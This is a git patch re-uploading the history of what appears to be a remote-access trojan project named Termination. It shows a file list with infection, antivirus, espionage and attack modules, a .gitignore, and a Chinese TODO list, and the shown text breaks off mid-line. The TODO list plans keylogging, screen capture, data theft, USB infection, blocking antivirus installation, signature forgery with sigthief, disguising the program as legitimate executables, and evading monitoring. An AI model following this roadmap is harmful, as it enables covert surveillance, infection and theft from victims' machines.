From 90916315b9426f0c842c9120028cc1f0c71b194b Mon Sep 17 00:00:00 2001 From: TermiNexus Date: Tue, 28 Jul 2026 03:21:34 +0800 Subject: [PATCH] Re-upload history --- .gitignore | 106 +- .idea | 290 +- .inf/.Ico/ico.py | 110 +- .inf/.Ico/ico2.py | 144 +- .inf/.dat/InstallTermination.dat | Bin 0 -> 48128 bytes .inf/.dat/RegistryOverride.dat | Bin 0 -> 48128 bytes .inf/.dat/Service.dat | Bin 0 -> 24576 bytes .inf/.dat/TemplateMatcher.dll.dat | Bin 0 -> 169984 bytes .inf/.dat/TestApp.dat | Bin 0 -> 18432 bytes .inf/.dat/Tools.dll.dat | Bin 59392 -> 60416 bytes .inf/.dat/Update.dat | Bin 0 -> 50688 bytes .inf/.vscode/settings.json | 4 +- .inf/1.py | 10 +- .inf/CMakeLists.txt | 402 +- .inf/Install/CMakeLists.txt | 8 +- .inf/Install/installt.c | 60 +- .inf/RegistryOverride/CMakeLists.txt | 8 +- .inf/RegistryOverride/RegistryOverride.c | 124 +- .inf/Service/CMakeLists.txt | 8 +- .inf/Service/service.c | 774 +- .inf/SubstituteExecution/bcombine.py | 86 +- .inf/SubstituteExecution/bmain3.c | 452 +- .inf/SubstituteExecution/combine.py | 96 +- .inf/TemplateMatcher/CMakeLists.txt | 44 +- .inf/TemplateMatcher/TemplateMatcher.c | 493 +- .inf/Test/CMakeLists.txt | 8 +- .inf/Test/test.c | 10 +- .inf/Tools/CMakeLists.txt | 10 +- .inf/Tools/tools.c | 806 +- .inf/Update/CMakeLists.txt | 8 +- .inf/Update/update.c | 554 +- .vscode/settings.json | 128 +- Prompt/forai | 8 +- Prompt/pyfrp.txt | 94 +- README.md | 442 +- T2SRFB/1.py | 148 +- T2SRFB/BUILDING.txt | 758 +- T2SRFB/CMakeLists.txt | 924 +- T2SRFB/README.rst | 304 +- T2SRFB/common/core/Exception.cxx | 268 +- T2SRFB/common/core/Exception.h | 150 +- T2SRFB/common/core/Logger_syslog.cxx | 136 +- T2SRFB/common/core/Logger_syslog.h | 82 +- T2SRFB/common/core/xdgdirs.cxx | 324 +- T2SRFB/common/core/xdgdirs.h | 148 +- T2SRFB/common/rdr/TLSException.cxx | 124 +- T2SRFB/common/rdr/TLSException.h | 76 +- T2SRFB/common/rdr/TLSInStream.cxx | 104 +- T2SRFB/common/rdr/TLSInStream.h | 94 +- T2SRFB/common/rdr/TLSOutStream.cxx | 128 +- T2SRFB/common/rdr/TLSOutStream.h | 98 +- T2SRFB/common/rdr/TLSSocket.cxx | 456 +- T2SRFB/common/rdr/TLSSocket.h | 162 +- T2SRFB/common/rfb/AccessRights.cxx | 80 +- T2SRFB/common/rfb/AccessRights.h | 82 +- T2SRFB/common/rfb/CSecurityPlain.cxx | 94 +- T2SRFB/common/rfb/CSecurityPlain.h | 68 +- T2SRFB/common/rfb/CSecurityStack.cxx | 152 +- T2SRFB/common/rfb/CSecurityStack.h | 84 +- T2SRFB/common/rfb/CSecurityTLS.cxx | 1410 +- T2SRFB/common/rfb/CSecurityTLS.h | 146 +- T2SRFB/common/rfb/CSecurityVeNCrypt.cxx | 412 +- T2SRFB/common/rfb/CSecurityVeNCrypt.h | 122 +- T2SRFB/common/rfb/SSecurityPlain.h | 132 +- T2SRFB/common/rfb/SSecurityStack.h | 86 +- T2SRFB/common/rfb/SSecurityTLS.cxx | 572 +- T2SRFB/common/rfb/SSecurityTLS.h | 166 +- T2SRFB/common/rfb/SSecurityVeNCrypt.cxx | 384 +- T2SRFB/common/rfb/SSecurityVeNCrypt.h | 106 +- T2SRFB/common/rfb/Security.cxx | 380 +- T2SRFB/common/rfb/SecurityClient.cxx | 254 +- T2SRFB/common/rfb/SecurityServer.cxx | 212 +- T2SRFB/common/rfb/SecurityServer.h | 84 +- T2SRFB/common/rfb/UnixPasswordValidator.cxx | 280 +- T2SRFB/common/rfb/UnixPasswordValidator.h | 90 +- T2SRFB/common/rfb/WinPasswdValidator.cxx | 92 +- T2SRFB/common/rfb/WinPasswdValidator.h | 82 +- .../packages/deb/ubuntu-jammy/debian/control | 384 +- .../deb/ubuntu-jammy/debian/copyright | 232 +- .../packages/deb/ubuntu-noble/debian/control | 382 +- .../deb/ubuntu-noble/debian/copyright | 232 +- .../packages/rpm/el8/SPECS/tigervnc.spec | 1448 +- .../packages/rpm/el9/SPECS/tigervnc.spec | 1446 +- T2SRFB/doc/keyboard-test.txt | 406 +- .../com/tigervnc/rdr/SystemException.java | 58 +- .../java/com/tigervnc/rdr/TLSException.java | 58 +- T2SRFB/java/com/tigervnc/rdr/TLSInStream.java | 220 +- .../java/com/tigervnc/rdr/TLSOutStream.java | 188 +- .../java/com/tigervnc/rfb/CSecurityPlain.java | 118 +- .../java/com/tigervnc/rfb/CSecurityStack.java | 160 +- .../java/com/tigervnc/rfb/CSecurityTLS.java | 1060 +- .../com/tigervnc/rfb/CSecurityVeNCrypt.java | 428 +- .../java/com/tigervnc/rfb/Configuration.java | 552 +- T2SRFB/java/com/tigervnc/rfb/Security.java | 490 +- .../java/com/tigervnc/rfb/SecurityClient.java | 178 +- .../com/tigervnc/vncviewer/FileUtils.java | 212 +- .../java/com/tigervnc/vncviewer/MANIFEST.MF | 10 +- .../com/tigervnc/vncviewer/OptionsDialog.java | 3342 ++-- .../com/tigervnc/vncviewer/Parameters.java | 1214 +- T2SRFB/java/com/tigervnc/vncviewer/README | 234 +- .../com/tigervnc/vncviewer/ServerDialog.java | 596 +- .../java/com/tigervnc/vncviewer/Tunnel.java | 606 +- .../tigervnc/vncviewer/UserPreferences.java | 308 +- .../java/com/tigervnc/vncviewer/Viewport.java | 1692 +- .../com/tigervnc/vncviewer/VncViewer.java | 938 +- T2SRFB/po/CMakeLists.txt | 118 +- T2SRFB/release/CMakeLists.txt | 156 +- T2SRFB/release/makemacapp.in | 120 +- T2SRFB/unix/vncconfig/vncconfig.cxx | 762 +- T2SRFB/unix/vncpasswd/vncpasswd.cxx | 542 +- T2SRFB/unix/vncserver/HOWTO.md | 244 +- T2SRFB/unix/vncserver/selinux/vncsession.te | 226 +- T2SRFB/unix/vncserver/vncserver.users | 16 +- T2SRFB/unix/vncserver/vncsession.man.in | 190 +- T2SRFB/unix/w0vncserver/w0vncserver.cxx | 546 +- T2SRFB/unix/x0vncserver/XSelection.cxx | 396 +- T2SRFB/unix/x0vncserver/x0vncserver.cxx | 1080 +- T2SRFB/unix/xserver/hw/vnc/vncInput.c | 1344 +- T2SRFB/unix/xserver/hw/vnc/vncInput.h | 128 +- T2SRFB/unix/xserver/hw/vnc/vncModule.c | 258 +- T2SRFB/unix/xserver/hw/vnc/xvnc.c | 2512 +-- T2SRFB/vncviewer/DesktopWindow.cxx | 3686 ++--- T2SRFB/vncviewer/OptionsDialog.cxx | 2740 ++-- T2SRFB/vncviewer/ServerDialog.cxx | 924 +- T2SRFB/vncviewer/Viewport.cxx | 2100 +-- .../org.tigervnc.vncviewer.metainfo.xml.in | 102 +- T2SRFB/vncviewer/parameters.cxx | 1898 +-- T2SRFB/vncviewer/vncviewer.cxx | 1656 +- T2SRFB/vncviewer/vncviewer.desktop.in.in | 20 +- T2SRFB/vncviewer/vncviewer.rc.in | 154 +- T2SRFB/win/CMakeLists.txt | 30 +- T2SRFB/win/T2SRFB/AddNewClientDialog.h | 110 +- T2SRFB/win/T2SRFB/CMakeLists.txt | 36 +- T2SRFB/win/T2SRFB/ControlPanel.cxx | 326 +- T2SRFB/win/T2SRFB/ControlPanel.h | 90 +- T2SRFB/win/T2SRFB/ListConnInfo.h | 236 +- T2SRFB/win/T2SRFB/ManagedListener.cxx | 252 +- T2SRFB/win/T2SRFB/ManagedListener.h | 118 +- T2SRFB/win/T2SRFB/QueryConnectDialog.cxx | 228 +- T2SRFB/win/T2SRFB/QueryConnectDialog.h | 126 +- T2SRFB/win/T2SRFB/STrayIcon.cxx | 566 +- T2SRFB/win/T2SRFB/STrayIcon.h | 124 +- T2SRFB/win/T2SRFB/T2SRFB.cxx | 584 +- T2SRFB/win/T2SRFB/T2SRFB4.exe.manifest64 | 44 +- T2SRFB/win/T2SRFB/VNCServerService.cxx | 390 +- T2SRFB/win/T2SRFB/VNCServerService.h | 86 +- T2SRFB/win/T2SRFB/VNCServerWin32.cxx | 818 +- T2SRFB/win/T2SRFB/VNCServerWin32.h | 266 +- T2SRFB/win/T2SRFB/resource.h | 106 +- T2SRFB/win/resdefs.h | 6 +- T2SRFB/win/rfb_win32/SecurityPage.cxx | 422 +- T2SRFB/win/rfb_win32/SecurityPage.h | 122 +- T2SRFB/win/rfb_win32/Service.cxx | 950 +- T2SRFB/win/rfb_win32/resource.h | 74 +- T2SRFB/win/vncconfig/Legacy.cxx | 464 +- T2SRFB/win/vncconfig/vncconfig.cxx | 372 +- T2SRFB/win/vncconfig/vncconfig.exe.manifest64 | 44 +- TConfig/version.ini | 12 +- TFrp/FTP.PY | 126 - TFrp/LICENSE | 21 + TFrp/__init__.py | 4 +- TFrp/{A => backup}/__init__.py | 14 +- TFrp/{A => backup}/client.py | 414 +- TFrp/{A => backup}/readme.md | 362 +- TFrp/{A => backup}/server.py | 648 +- TFrp/client.py | 590 +- TFrp/readme.md | 388 + TFrp/server.py | 686 +- TLUI/GoldenSpiral.py | 204 +- TLUI/ImitateWinUI/CTT copy.py | 126 +- TLUI/ImitateWinUI/CTT.py | 144 +- TLUI/ImitateWinUI/Loading.py | 108 +- TLUI/ImitateWinUI/Teams.py | 114 +- TLUI/ImitateWinUI/WinUI3.py | 282 +- TLUI/KONGBU.py | 1888 +-- TLUI/OBlue.py | 526 +- TLUI/Tool.py | 44 +- TLUI/UI-AGSS.py | 104 +- TLUI/UI-END.py | 376 +- TLUI/UI-ERRORS.py | 1448 +- TLUI/UI-Logo.py | 10 +- TLUI/UI-TEXT copy.py | 294 +- TLUI/UI-TEXT.py | 512 +- TLUI/UI-UPDATE.py | 150 +- TLUI/UIThread.py | 1396 +- TLUI/UI_Hardcoded.py | 220 +- TLUI/__init__.py | 6 +- TLUI/ai.py | 340 +- TLUI/atest.py | 608 +- TLUI/cli.py | 124 +- TLUI/memz/cat_window.py | 492 +- TLUI/memz/data.py | 26 +- TLUI/memz/memz.py | 740 +- TLUI/speak.py | 246 +- TLUI/t2.py | 874 +- TLUI/test.py | 282 +- TLUI/thetime.py | 438 +- TLhread/Thread_AntiVirusSoftware.py | 348 +- TLhread/Thread_AutoRun.py | 128 +- TLhread/Thread_InfectionWorker.py | 568 +- TLhread/Thread_LW3T.py | 146 +- TLhread/Thread_Process.py | 86 +- TLhread/Thread_TWNT.py | 650 +- TLhread/Thread_TWNTWork.py | 934 +- TLhread/Thread_Web.py | 318 +- TLhread/__init__.py | 42 +- TLib/T_AdministratorMode.py | 378 +- TLib/T_CDLL.py | 658 +- TLib/T_EXEConfig.py | 84 +- TLib/T_FIO.py | 148 +- TLib/T_Fuck.py | 36 +- TLib/T_GodKeys.py | 472 +- TLib/T_Hardcoded.py | 522 +- TLib/T_KeMouse.py | 356 +- TLib/T_LW3T.py | 110 +- TLib/T_Lock.py | 210 +- TLib/T_Log.py | 450 +- TLib/T_Process.py | 672 +- TLib/T_Std.py | 240 +- TLib/T_TDLL.py | 74 +- TLib/T_This.py | 128 +- TLib/T_Tools.py | 1346 +- TLib/T_Version.py | 90 +- TLib/T_WSD.py | 302 +- TLib/T_imports.py | 272 +- TLib/__init__.py | 58 +- TPLib/T_Browser/WebBrowserInfo.py | 344 +- TPLib/T_Browser/get_web_info.py | 280 +- TPLib/T_DOC/.func.json | 762 +- TPLib/T_DOC/L2P/gen/PSLexer.py | 3436 ++-- TPLib/T_DOC/L2P/gen/PSListener.py | 1146 +- TPLib/T_DOC/L2P/gen/PSParser.py | 13254 ++++++++-------- TPLib/T_DOC/Tsugi.py | 446 +- TPLib/T_DOC/__init__.py | 2 +- TPLib/T_DOC/main.py | 10 +- TPLib/T_DOC/test.py | 50 +- TPLib/T_IndexEspionageProgram/maker copy.py | 398 +- TPLib/T_IndexEspionageProgram/maker.py | 572 +- TPLib/T_IndexEspionageProgram/test.py | 34 +- TPLib/T_MCDrink/attack.py | 678 +- TPLib/T_MCDrink/main.py | 554 +- TPLib/T_SSHServer/TSSH copy 2.py | 1568 +- TPLib/T_SSHServer/TSSH copy.py | 2406 +-- TPLib/T_SSHServer/TSSH.py | 1570 +- TPLib/T_SSHServer/TSSH_.py | 430 +- TPLib/T_SSHServer/cmds.py | 1236 +- TPLib/T_SSHServer/config.py | 310 +- TPLib/T_SSHServer/config/config.json | 64 +- TPLib/T_SSHServer/config/rsa_key.pem | 54 +- TPLib/T_SSHServer/config/shell.json | 12 +- TPLib/T_SSHServer/home/ubuntu/.bash_history | 8 +- .../logs/ssh-honeypot-20250830212620.log | 72 +- .../logs/ssh-honeypot-20250830214836.log | 14 +- .../logs/ssh-honeypot-20250830214851.log | 14 +- .../logs/ssh-honeypot-20250830214924.log | 14 +- .../logs/ssh-honeypot-20250830214940.log | 14 +- .../logs/ssh-honeypot-20250830215250.log | 2 +- TPLib/T_SSHServer/main.py | 172 +- TPLib/T_SSHServer/output.py | 116 +- TPLib/T_SSHServer/server.key | 54 +- TPLib/T_SSHServer/server.py | 196 +- TPLib/T_SSHServer/shell.py | 588 +- TPLib/T_SSHServer/test.py | 246 +- TPLib/T_SSHServer/utils.py | 402 +- TPLib/T_SSHServer/vdisk/etc/os-release | 22 +- .../vdisk/home/ubuntu/.bash_history | 8 +- TPLib/T_SSHServer/vdisk/proc/cpuinfo | 894 +- .../T_SSHServer/vdisk/proc/driver/amd/Version | 4 +- TPLib/T_SSHServer/vdisk/proc/meminfo | 98 +- TPLib/T_VMDISC/DISCADDUI copy.py | 370 +- TPLib/T_VMDISC/DISCADDUI.py | 344 +- TPLib/T_VMDISC/DISCAPI copy.py | 4426 +++--- TPLib/T_VMDISC/DISCAPI.py | 4426 +++--- TPLib/T_VMDISC/DISCGUI copy.py | 2056 +-- TPLib/T_VMDISC/DISCGUI.py | 2062 +-- TPLib/T_VMDISC/DISCImport.py | 216 +- TPLib/T_VMDISC/DISConfiguration.Json | 12 +- TPLib/T_VMDISC/TestModule_1.py | 2 +- TPLib/T_VMDISC/__init__.py | 2 +- TPLib/T_VMDISC/extracted_files/DISCAPI.py | 4426 +++--- TPLib/T_VMDISC/extracted_files/test.py1 | 32 +- TPLib/T_VMDISC/test.py | 48 +- TPLib/T_WMI/__init__.py | 2 +- TPLib/T_WMI/wmi.py | 2784 ++-- TPLib/T_WMI/wmitest.cmd | 8 +- TPLib/T_WMI/wmitest.master.ini | 10 +- TPLib/__init__.py | 12 +- TPcc/compile_commands.json | 148 +- TPcc/runtime/win32/etc/build-tcc.bat | 378 +- TPcc/runtime/win32/etc/tcc-win32.txt | 336 +- Termination4.py | 78 +- TerminationLib.py | 854 +- Test/1.PY | 168 +- Test/au.py | 762 +- Test/autest copy.py | 742 +- Test/autest.py | 540 +- Test/command.py | 82 +- Test/compet.py | 32 +- Test/please.md | 162 +- Test/setup.py | 6 +- Test/setup2.py | 184 +- Test/test.py | 140 +- Test/testdownload.py | 52 +- Test/testdownloaddouyin.py | 102 +- Test/testlistenkm.py | 34 +- Test/testpywebview.py | 74 +- Test/testpywebview.spec | 76 +- Test/testreadlast.py | 82 +- Test/testreadme.py | 18 +- Test/testreadme.spec | 76 +- Test/tk.py | 8 +- index.md | 474 +- kitest.py | 36 +- line.py | 192 +- script.spec | 202 +- setup_nuitka.py | 308 +- setup_pack.py | 102 +- 317 files changed, 73601 insertions(+), 73293 deletions(-) create mode 100644 .inf/.dat/InstallTermination.dat create mode 100644 .inf/.dat/RegistryOverride.dat create mode 100644 .inf/.dat/Service.dat create mode 100644 .inf/.dat/TemplateMatcher.dll.dat create mode 100644 .inf/.dat/TestApp.dat create mode 100644 .inf/.dat/Update.dat delete mode 100644 TFrp/FTP.PY create mode 100644 TFrp/LICENSE rename TFrp/{A => backup}/__init__.py (97%) rename TFrp/{A => backup}/client.py (97%) rename TFrp/{A => backup}/readme.md (97%) rename TFrp/{A => backup}/server.py (97%) create mode 100644 TFrp/readme.md diff --git a/.gitignore b/.gitignore index 98a900f..4babb0a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,53 +1,53 @@ -.ENV/ -*.exe -*.dll -*.pdb -!SSLib/ -TPLib/T_IndexEspionageProgram/c_drive_final_index.json -*.a -*.o -*.obj -*.pyc -__pycache__/ -Termination4.onefile-build/ -Termination4.dist/ -Termination4.build/ -dist/ -build/ -CMakeFiles/ -CMakeCache.txt -cmake_install.cmake -build.ninja -.ninja_deps -.ninja_log -*.manifest -*.rc -*.res -*.mo -*.po -*.pot -*.onefile-build/ -*.dist/ -*.cache -*.sconsign-*.dblite -*.scons-report.txt -*.scons-debug.* -*.ninja -*.cmake -*.yaml -*.yml -*.iss -*.iss.in -*.patch -*.makemacapp.in -*.maketarball.in -*.plist.in -*.man -*.reg -*.sys -*.cfg -*.conf -*.properties -*.xml -*.svg -*.xpm +.ENV/ +*.exe +*.dll +*.pdb +!SSLib/ +TPLib/T_IndexEspionageProgram/c_drive_final_index.json +*.a +*.o +*.obj +*.pyc +__pycache__/ +Termination4.onefile-build/ +Termination4.dist/ +Termination4.build/ +dist/ +build/ +CMakeFiles/ +CMakeCache.txt +cmake_install.cmake +build.ninja +.ninja_deps +.ninja_log +*.manifest +*.rc +*.res +*.mo +*.po +*.pot +*.onefile-build/ +*.dist/ +*.cache +*.sconsign-*.dblite +*.scons-report.txt +*.scons-debug.* +*.ninja +*.cmake +*.yaml +*.yml +*.iss +*.iss.in +*.patch +*.makemacapp.in +*.maketarball.in +*.plist.in +*.man +*.reg +*.sys +*.cfg +*.conf +*.properties +*.xml +*.svg +*.xpm diff --git a/.idea b/.idea index 2a1f128..8400cca 100644 --- a/.idea +++ b/.idea @@ -1,145 +1,145 @@ -# 1. 键鼠监听 -X 2. LW3T实时同步服务器 -# 3. 去除命令行窗口 (改为os.popen) -# 4. 重启程序问题 -# 5. 进程图标和进程名 -# 6. 文件转储和传输 -# 7. 远程查看T.log -P 8. 感染 -# 9. 自动截图留作历史 -# 10. 更新程序问题 -# 11. 大文件传输问题 -# 12. UI -# 13. 进程管理 -# 14. 命令提示 -# P 15. SuperRDP -# X 16. 子域名 -# 17. KM部分区域截屏 -# 18. 如果启动连接失败,发送T.log并且请求更新 -# 19. 网络命令行失效 -# 20. C#2采集 -21. 屏幕监控支持查看和选择视频流采集设备 -# 22. PDir复制文件到操作系统使用内存流避免磁盘数据丢失(迅速拷贝时,受限于时间) -23. 全流程保证不出任何差错,可能出错的地方加Try,保证至少能连接到服务器,之后服务器再发数据处理 -24. UI写个Termination默认UI,类似但不是Loading页面,显示Termination的图标 -# 25. 跨线程UI(线程安全的Tkinter) -# 26. 支持操作UI句柄! -# M 27. 大文件传输如果出错需要try并汇报 -# 28. TWNT断连检查更新获取SHA256时验证返回值是否符合SHA256格式 -# 29. TWNT断连检查获取文件是否为可执行文件 -# 30. TWNT断连时要求更加严格 -# 30. TWNT断连时验证的SHA256在Termination.__init_#alue__阶段就准备好 -# 32. TWNT_Update BUG修改 -# 33. TWNT提交日志时抽取重点,避免报错 -# 34. 解决连接异常多次导致不继续尝试连接的BUG -# 35. Tkinter PIL 重复部署出现PyImage5问题 -# P 36. 减小 Pyinstaller 打包量 -# X 37. 考虑是否加入pywebview -# 38. PDir更改TService位置后出现注册问题 -# 39. Bad Int -# 40. Png 元数据 及 压缩 -# 41. 收集数据线程不自杀(已解决:线程销毁判断条件出现问题) -# 42. KM 数据收集过于频繁 -# 43. 快捷面板 -# 44. Python Mode下启动时报错(怀疑PDir对于路径处理出现问题) -# 45. sys.stdout 输出转存到T.log,允许更换路径,判断日志等级,自动上传日志 -# P 46. 旧方法处理修正,减少SOCKET.ROUTE使用量,针对多客户端开发(或许不现实) -# P 47. 更多冗余机制,GUID获取失败冗余机制 -# 48. 进程终止 -# 49. ComputerInfo序列化失败错误处理冗余 -# 50. 研究Tfxx.log错误信息 -51. 在上述全部完成后修复 LW3T 复杂系统 -52. 危险的,可能被怀疑的操作使用新进程tool来操作,尤其是注册表相关操作,同时注意启动新进程不要被监控到 -# 53. 重写TService,给它换个储存位置 -# 54. 终止任务 -# P 55. 动态计算网络用量做出压缩等级 -# 56. 新建任务 -# 57. 上传文件 -# 58. 结束进程 -# P 59. 速度计时 -# 60. 更新程序 -61. 自动伪造签名(sigthief) -62. MC攻击 -# 63. ./Errors涵盖接入 -# 64. RDP远程 -# 65. 本地 Flask 控制器 (html) -66. 本地禁止 HOSTS 访问(无360) -# 67. 阻止杀毒软件安装 -# 68. 文件管理器右键重命名 删除 更改权限组 查看属性,复制文件路径功能 (考虑使用 FTP) -# 69. 更新 -70. 感染模块(内部签名) -71. 日志流加载出错,考虑前端 "\n" 回车字符忽略导致行数计算错误 -# 72. 远程模块 -# 73. 剪切板模块 -# 74. 内部工作站 -# 75. 纯 Python 库 本地化 -76. 本地化测试 UI -# 77. 更新程序修复 -78. TDOC -# X 79. FRP -80. 任务管理器 -81. LW3T -# 82. 日志程序基本处理 -# X 83. 日志颜色和模拟终端优化,去除Thread-Data回调 -# V 84. 处理 cmd 和 powershell 模式下可能的进程逃逸 -# V 85. 重置被污染的虚拟环境 -# X 86. 模拟终端对于 \d 控制字符的处理 -# V 87. 合理模块化 TLhread -88. 使用合适的方法启用 T_VMDISC 与 T_EXEConfig 的功能 -89. 劫持 exe 作为其伪装 -# X 90. 页面名称 "绘字节" -91. SSH 线程 -92. 浏览器记录获取 -# V 93. 保持窃取信息,检查预览图同步线程不工作问题原因 -# 94. 标准定义类型设定 -# P 95. 编译地时候记得处理 ARGS 注脚(也无所谓) LINE: 94 -# 96. T_Tools 图片压缩 API 协议更改,修改 TWNT -# V P 97. 不说脏话,保持教养 -# 98. TWNT 在运行 tasklist 后会无法重连。 -# 99. 接受 命令行信号 SIGN -# 100. .INF 程序重写编译 -101. T 内置简化编译链(Python) -# 102. T_Std/ T_Log 保存到日志后出现 双\n 的问题 -# 103. TWNT 极限抗压 -# X 104. FRP 资源文件对于 T 物理位置 -105. 提供更简单的 API 帮助管理员创建临时文件 -# 106. BAD PLT 问题 -107. 解决由 长期不向服务器传输数据导致得 连接未中断但 PLT 记录已释放,(Already Connected) -108. 控制 CapsLock、Camera 灯 -# 109. 长期无指令导致 PLT 超时。 -110. 启动原神、bluearhi # e(条件:) -111. Plan 线程计划 + 本地文件读写 -112. 本地配置文件可对 任意线程变量进行修改(释放本地文件 payload 可对程序进行修改) -# 113. 处理 TWNT.On_Process,减少配置项 -# 114. TWNT 集中管理 emit,不要滥用 TWNT.Socket.emit,集中管理,减少代码中 self.Socket 的存储,检查 self.emit 的错误语法 -# V 115. On_Process 配置项 根据配置文件决定。 -# V 116. Github EXE 更新源 -# 117. TLUI Thread 方便处理 -118. TREPORT 程序 -119. TDOC 完备化 -# V 120. 主程序初始化速度过慢,减少冗余处理(是否是 import 的问题) -# 121. TWNT 完全完备 -# 122. TWNT PAH 根据断连原因请求调度 -# X 123. PIL.Image 预先初始化,不销毁组件 -124. TLUI 组件标准格式化处理,删除多余注释内容,做好终止销毁组件处理 -125. 释放文件本地启动(伪装正常文件),感染时修改 ICON -# V 126. 修改 T 的释放路径和名称 -127. USB 感染处理 -# V 128. 删除 Flask 组件 -129. TLUI 格式化 -130. TLhread 格式化 -# V 131. 本地化转储代码 -132. 自动扫盘转储数据 -# 133. Room 模式 -# 134. T_Log.py , LINE 55 行 未使用 TWNT.emit -135. 对于线程任务控制台,修改内容时特殊类型无法修改 -136. VNC 支持,FRP / SSH / FTP -# V 137. 删除 pywebview(webview-winui3 负荷) -138. TWNEUpdateApp 修正 -139. MC 攻击 -# V 140. 调整 C扩展 程序 args 处理 -141. 对于 需要写入的 进程进行回调来读取 edit - - -https://www.virustotal.com/ - +# 1. 键鼠监听 +X 2. LW3T实时同步服务器 +# 3. 去除命令行窗口 (改为os.popen) +# 4. 重启程序问题 +# 5. 进程图标和进程名 +# 6. 文件转储和传输 +# 7. 远程查看T.log +P 8. 感染 +# 9. 自动截图留作历史 +# 10. 更新程序问题 +# 11. 大文件传输问题 +# 12. UI +# 13. 进程管理 +# 14. 命令提示 +# P 15. SuperRDP +# X 16. 子域名 +# 17. KM部分区域截屏 +# 18. 如果启动连接失败,发送T.log并且请求更新 +# 19. 网络命令行失效 +# 20. C#2采集 +21. 屏幕监控支持查看和选择视频流采集设备 +# 22. PDir复制文件到操作系统使用内存流避免磁盘数据丢失(迅速拷贝时,受限于时间) +23. 全流程保证不出任何差错,可能出错的地方加Try,保证至少能连接到服务器,之后服务器再发数据处理 +24. UI写个Termination默认UI,类似但不是Loading页面,显示Termination的图标 +# 25. 跨线程UI(线程安全的Tkinter) +# 26. 支持操作UI句柄! +# M 27. 大文件传输如果出错需要try并汇报 +# 28. TWNT断连检查更新获取SHA256时验证返回值是否符合SHA256格式 +# 29. TWNT断连检查获取文件是否为可执行文件 +# 30. TWNT断连时要求更加严格 +# 30. TWNT断连时验证的SHA256在Termination.__init_#alue__阶段就准备好 +# 32. TWNT_Update BUG修改 +# 33. TWNT提交日志时抽取重点,避免报错 +# 34. 解决连接异常多次导致不继续尝试连接的BUG +# 35. Tkinter PIL 重复部署出现PyImage5问题 +# P 36. 减小 Pyinstaller 打包量 +# X 37. 考虑是否加入pywebview +# 38. PDir更改TService位置后出现注册问题 +# 39. Bad Int +# 40. Png 元数据 及 压缩 +# 41. 收集数据线程不自杀(已解决:线程销毁判断条件出现问题) +# 42. KM 数据收集过于频繁 +# 43. 快捷面板 +# 44. Python Mode下启动时报错(怀疑PDir对于路径处理出现问题) +# 45. sys.stdout 输出转存到T.log,允许更换路径,判断日志等级,自动上传日志 +# P 46. 旧方法处理修正,减少SOCKET.ROUTE使用量,针对多客户端开发(或许不现实) +# P 47. 更多冗余机制,GUID获取失败冗余机制 +# 48. 进程终止 +# 49. ComputerInfo序列化失败错误处理冗余 +# 50. 研究Tfxx.log错误信息 +51. 在上述全部完成后修复 LW3T 复杂系统 +52. 危险的,可能被怀疑的操作使用新进程tool来操作,尤其是注册表相关操作,同时注意启动新进程不要被监控到 +# 53. 重写TService,给它换个储存位置 +# 54. 终止任务 +# P 55. 动态计算网络用量做出压缩等级 +# 56. 新建任务 +# 57. 上传文件 +# 58. 结束进程 +# P 59. 速度计时 +# 60. 更新程序 +61. 自动伪造签名(sigthief) +62. MC攻击 +# 63. ./Errors涵盖接入 +# 64. RDP远程 +# 65. 本地 Flask 控制器 (html) +66. 本地禁止 HOSTS 访问(无360) +# 67. 阻止杀毒软件安装 +# 68. 文件管理器右键重命名 删除 更改权限组 查看属性,复制文件路径功能 (考虑使用 FTP) +# 69. 更新 +70. 感染模块(内部签名) +71. 日志流加载出错,考虑前端 "\n" 回车字符忽略导致行数计算错误 +# 72. 远程模块 +# 73. 剪切板模块 +# 74. 内部工作站 +# 75. 纯 Python 库 本地化 +76. 本地化测试 UI +# 77. 更新程序修复 +78. TDOC +# X 79. FRP +80. 任务管理器 +81. LW3T +# 82. 日志程序基本处理 +# X 83. 日志颜色和模拟终端优化,去除Thread-Data回调 +# V 84. 处理 cmd 和 powershell 模式下可能的进程逃逸 +# V 85. 重置被污染的虚拟环境 +# X 86. 模拟终端对于 \d 控制字符的处理 +# V 87. 合理模块化 TLhread +88. 使用合适的方法启用 T_VMDISC 与 T_EXEConfig 的功能 +89. 劫持 exe 作为其伪装 +# X 90. 页面名称 "绘字节" +91. SSH 线程 +92. 浏览器记录获取 +# V 93. 保持窃取信息,检查预览图同步线程不工作问题原因 +# 94. 标准定义类型设定 +# P 95. 编译地时候记得处理 ARGS 注脚(也无所谓) LINE: 94 +# 96. T_Tools 图片压缩 API 协议更改,修改 TWNT +# V P 97. 不说脏话,保持教养 +# 98. TWNT 在运行 tasklist 后会无法重连。 +# 99. 接受 命令行信号 SIGN +# 100. .INF 程序重写编译 +101. T 内置简化编译链(Python) +# 102. T_Std/ T_Log 保存到日志后出现 双\n 的问题 +# 103. TWNT 极限抗压 +# X 104. FRP 资源文件对于 T 物理位置 +105. 提供更简单的 API 帮助管理员创建临时文件 +# 106. BAD PLT 问题 +107. 解决由 长期不向服务器传输数据导致得 连接未中断但 PLT 记录已释放,(Already Connected) +108. 控制 CapsLock、Camera 灯 +# 109. 长期无指令导致 PLT 超时。 +110. 启动原神、bluearhi # e(条件:) +111. Plan 线程计划 + 本地文件读写 +112. 本地配置文件可对 任意线程变量进行修改(释放本地文件 payload 可对程序进行修改) +# 113. 处理 TWNT.On_Process,减少配置项 +# 114. TWNT 集中管理 emit,不要滥用 TWNT.Socket.emit,集中管理,减少代码中 self.Socket 的存储,检查 self.emit 的错误语法 +# V 115. On_Process 配置项 根据配置文件决定。 +# V 116. Github EXE 更新源 +# 117. TLUI Thread 方便处理 +118. TREPORT 程序 +119. TDOC 完备化 +# V 120. 主程序初始化速度过慢,减少冗余处理(是否是 import 的问题) +# 121. TWNT 完全完备 +# 122. TWNT PAH 根据断连原因请求调度 +# X 123. PIL.Image 预先初始化,不销毁组件 +124. TLUI 组件标准格式化处理,删除多余注释内容,做好终止销毁组件处理 +125. 释放文件本地启动(伪装正常文件),感染时修改 ICON +# V 126. 修改 T 的释放路径和名称 +127. USB 感染处理 +# V 128. 删除 Flask 组件 +129. TLUI 格式化 +130. TLhread 格式化 +# V 131. 本地化转储代码 +132. 自动扫盘转储数据 +# 133. Room 模式 +# 134. T_Log.py , LINE 55 行 未使用 TWNT.emit +135. 对于线程任务控制台,修改内容时特殊类型无法修改 +136. VNC 支持,FRP / SSH / FTP +# V 137. 删除 pywebview(webview-winui3 负荷) +138. TWNEUpdateApp 修正 +139. MC 攻击 +# V 140. 调整 C扩展 